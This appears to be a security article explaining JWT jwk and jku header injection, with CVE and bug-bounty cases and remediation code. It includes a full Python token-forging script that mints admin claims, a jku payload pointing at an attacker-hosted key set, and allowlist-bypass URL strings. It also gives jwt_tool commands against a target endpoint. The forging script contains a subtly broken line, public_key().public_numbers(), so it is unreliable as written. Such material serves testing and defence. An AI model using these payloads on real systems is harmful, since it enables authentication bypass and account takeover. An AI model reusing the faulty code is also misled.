Attacker embeds their own public key in the jwk header, tricking the server into verifying the token with the attacker's key.
TL;DR
jwk header fieldThe jwk (JSON Web Key) header parameter is defined in RFC 7515 as an optional field containing the public key corresponding to the key used to sign the JWS. Its intended purpose: allow key discovery in protocols where keys cannot be pre-registered. The vulnerability arises when a library implements this field and verifies the token's signature against the embedded public key without checking whether that key comes from a trusted source.
The attack is logically circular: the library accepts the token because it verifies against the public key in the token header — but the attacker put both the key and the signature in the token. The library performs a valid HMAC/RSA check; it just checks the wrong key. This is CWE-345 (Insufficient Verification of Data Authenticity): the library verifies data authenticity using data authenticity provided by the attacker.
CVE-2018-0114 (CVSS 9.3) in node-jose was the first widespread disclosure. The vulnerability has been independently rediscovered in multiple JWT libraries since, including jose-php and several custom enterprise implementations. Any library that supports the jwk header parameter without restricting accepted keys to a pre-registered trust store is potentially vulnerable.
Full attack in Python:
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
import base64, json, struct
def b64url(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
def int_to_bytes(n: int) -> bytes:
"""Convert integer to bytes, big-endian."""
return n.to_bytes((n.bit_length() + 7) // 8, 'big')
# Step 1: Generate attacker RSA keypair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
pub_numbers = public_key.public_key().public_numbers()
# Step 2: Build JWK representation of attacker's public key
attacker_jwk = {
"kty": "RSA",
"n": b64url(int_to_bytes(pub_numbers.n)),
"e": b64url(int_to_bytes(pub_numbers.e))
}
# Step 3: Build forged header with embedded jwk
forged_header = {
"alg": "RS256",
"typ": "JWT",
"jwk": attacker_jwk
}
# Step 4: Build malicious payload
forged_payload = {
"sub": "user123",
"role": "admin",
"exp": 9999999999
}
# Step 5: Encode header and payload
h = b64url(json.dumps(forged_header, separators=(',',':')).encode())
p = b64url(json.dumps(forged_payload, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
# Step 6: Sign with attacker's PRIVATE key
signature = private_key.sign(msg, padding.PKCS1v15(), hashes.SHA256())
forged_token = f"{h}.{p}.{b64url(signature)}"
print(f"Forged token: {forged_token}")The resulting JWT header, when decoded, looks like:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx...",
"e": "AQAB"
}
}And the payload:
{
"sub": "user123",
"role": "admin",
"exp": 9999999999
}The server decodes the header, extracts the jwk field, uses it as the verification key, verifies the signature — which is valid because the attacker signed with the matching private key — and returns the payload. The attack succeeds because the server never checks whether the jwk key is in its trusted key store.
| Variant | Technique | Notes |
|---|---|---|
| Basic jwk injection | Embedded RSA public key in header | CVE-2018-0114 pattern |
| EC key injection | Embedded EC public key (for ES256 libraries) | Same attack, different key type |
| jku SSRF variant | jwk via URL (jku header) — server fetches | Requires outbound network; also SSRF vector |
| x5c injection | Embedded X.509 certificate instead of jwk | Uses certificate rather than bare key — see jwt-x5c-injection |
| Hybrid jwk + alg confusion | jwk with HS256 header pointing to public key | Advanced variant for partial mitigations |
The jku (JWK Set URL) header parameter is the remote equivalent of jwk. Instead of embedding the key, it provides a URL where the JWKS (JSON Web Key Set) can be fetched.
{
"alg": "RS256",
"typ": "JWT",
"kid": "evil-kid-001",
"jku": "https://attacker.com/jwks.json"
}Attacker-hosted JWKS at https://attacker.com/jwks.json:
{
"keys": [{
"kty": "RSA",
"kid": "evil-kid-001",
"n": "<attacker_public_key_modulus_b64>",
"e": "AQAB"
}]
}The server fetches this URL, retrieves the attacker's public key, and verifies the token against it. This variant is also a SSRF vector — the server-side HTTP request can reach internal services via the jku URL if the server is on a cloud instance with metadata endpoints (169.254.169.254) or internal APIs.
URL allowlist bypass patterns for jku:
# Allowlist: "must start with https://idp.victim.com"
https://idp.victim.com.attacker.com/jwks.json # subdomain confusion
https://idp.victim.com@attacker.com/jwks.json # userinfo bypass
https://idp.victim.com/redirect?to=https://attacker.com/jwks.json # open redirectCVE-2018-0114 — node-jose (CVSS 9.3)
The node-jose library (part of the Cisco JOSE implementation) trusted the public key embedded in the JWT's jwk header without validating it against a server-side trust store. Versions prior to 0.11.0 were affected. The impact was total authentication bypass: any user could forge any token for any user ID with any claims, signed with a self-generated RSA key. The fix: node-jose now ignores the jwk header when using a pre-registered key store.
CVE-2026-22817 — Hono JWK Middleware (CVSS 8.2)
Hono's JWT middleware for edge runtimes (Cloudflare Workers, Deno) did not enforce an algorithm field when processing JWK tokens. A token without an alg field in the JWK caused the library to fall back to accepting whatever algorithm the token header specified — enabling algorithm confusion via the jwk field. The vulnerability is a hybrid of jwk injection and algorithm confusion.
HackerOne #987272 — jku SSRF → Auth Bypass ($7,500)
A security researcher discovered that a fintech application fetched the jku URL without allowlist validation. The researcher hosted a valid JWKS at their own domain, signed a forged JWT with the corresponding private key, and sent it to the API. The server fetched the researcher's JWKS, verified the signature, and returned an authenticated response — full admin access. The $7,500 bounty reflected the critical business impact: any external attacker could gain admin access without credentials.
Enterprise OIDC Integration Bug — jwk Trust Without Allowlist
A large enterprise's internal OIDC integration read the jwk field from employee-submitted ID tokens when processing API requests. The developer intended to use the jwk for key discovery in a multi-IdP federation scenario, but did not restrict accepted issuers. An attacker with any valid ID token from any connected IdP could substitute their own jwk, gaining access to any employee's API permissions. This pattern is common in enterprise OIDC federation where developers copy RFC examples without security review.
Obtain a valid JWT from an authenticated request.
Use Burp JWT Editor extension:
Manual jwk injection (when Burp is unavailable):
# Generate keypair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Use jwt_tool to inject jwk
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X i -np
# (-X i = inject embedded JWK attack)jku test: Use Burp Collaborator:
"jku": "https://YOUR.burpcollaborator.net/jwks.json"jwt_tool jwk injection mode:
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X i -np -url "https://target.com/api/me"Burp JWT Editor — "Embedded JWK" attack button handles the full keypair generation and injection in one click.
BreachVex detects jwk injection through key-source injection testing. It generates a fresh RSA-2048 keypair per scan, injects the public key into the JWT header, signs the token, and tests against a previously confirmed authentication oracle. For jku injection, it uses out-of-band callbacks to detect server-side fetches. A confirmed jwk bypass requires a 200 response with user-specific body content.
The safest approach: reject any token containing these headers entirely.
PROHIBITED_HEADERS = {"jwk", "jku", "x5u", "x5c"}
def safe_verify_jwt(token: str, public_key, allowed_alg: str = "RS256") -> dict:
import jwt as pyjwt
# Step 1: check for prohibited headers BEFORE any cryptographic operation
unverified_header = pyjwt.get_unverified_header(token)
found = PROHIBITED_HEADERS & unverified_header.keys()
if found:
raise SecurityError(f"Prohibited JWT header parameters: {found}")
# Step 2: verify against server-side key only
if unverified_header.get("alg") != allowed_alg:
raise SecurityError(f"Expected alg={allowed_alg}, got {unverified_header.get('alg')!r}")
return pyjwt.decode(token, public_key, algorithms=[allowed_alg])import { jwtVerify, importJWK } from 'jose';
// BAD — jose trusts jwk header by default in some configurations
const { payload } = await jwtVerify(token, JWKS); // if JWKS accepts all kid
// GOOD — use a pre-registered JWKS with strict key binding
import { createRemoteJWKSet } from 'jose';
// Only fetch from a trusted, server-controlled URL
const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
const { payload } = await jwtVerify(token, JWKS, {
algorithms: ['RS256'], // explicit allowlist
issuer: 'https://auth.example.com', // strict issuer check
audience: 'api.example.com',
});
// Never pass the token's own jwk field as the verification keyimport com.nimbusds.jose.*;
import com.nimbusds.jose.jwk.*;
import com.nimbusds.jose.jwk.source.*;
import com.nimbusds.jwt.*;
import com.nimbusds.jwt.proc.*;
// GOOD — use a trusted JWK source, not the token header
JWKSource<SecurityContext> jwkSource = new RemoteJWKSet<>(
new URL("https://auth.example.com/.well-known/jwks.json")
);
ConfigurableJWTProcessor<SecurityContext> processor = new DefaultJWTProcessor<>();
processor.setJWSKeySelector(new JWSVerificationKeySelector<>(JWSAlgorithm.RS256, jwkSource));
// This throws if the token has an unsupported jwk header
JWTClaimsSet claims = processor.process(signedJWT, null);Most production applications should disable jwk, jku, x5u, and x5c header support entirely. These fields are needed only for key discovery in federated protocols (OIDC, JOSE) where the server dynamically discovers keys from issuers. If your JWT tokens are issued by a single, server-controlled authority, none of these fields serve a legitimate purpose — their presence in a token is a red flag.
JWT jwk injection exploits libraries that accept an embedded public key in the token's jwk header field (CVE-2018-0114). The attacker generates an RSA keypair, embeds their public key in the JWT header under the jwk field, and signs the token with their private key. The vulnerable library verifies the token against the embedded jwk — which the attacker controls — and accepts it as valid.
CVE-2018-0114 (CVSS 9.3) in node-jose documented that the library trusted the public key embedded in the JWT's jwk header unconditionally. An attacker could generate any RSA keypair, embed the public key in the JWT header, sign the token with the corresponding private key, and the server would accept it as valid because it verified against the header's embedded key rather than a trusted key store.
jwk injection embeds the attacker's public key directly in the JWT header — no network request is needed. jku injection provides a URL pointing to a remote JWKS endpoint that the server fetches. jwk is self-contained and works even when the server has no outbound network access. jku requires the server to make an outbound HTTP request and is also an SSRF vector.
CVE-2018-0114 originally affected node-jose. The attack class has been rediscovered in implementations that follow the RFC specification too literally — RFC 7517 defines the jwk parameter but does not mandate server-side validation against a trusted store. Libraries affected at various times include node-jose (CVE-2018-0114), jose-php, and custom JWT implementations that parse the full header without allowlisting trusted key sources.
In Burp Suite JWT Editor extension: intercept a JWT request, open JWT Editor, click 'Attack' then 'Embedded JWK'. The extension generates an RSA keypair, injects the public key into the token header under the jwk field, signs with the private key, and returns the modified token. Resend the request — a 200 response with protected content confirms the vulnerability.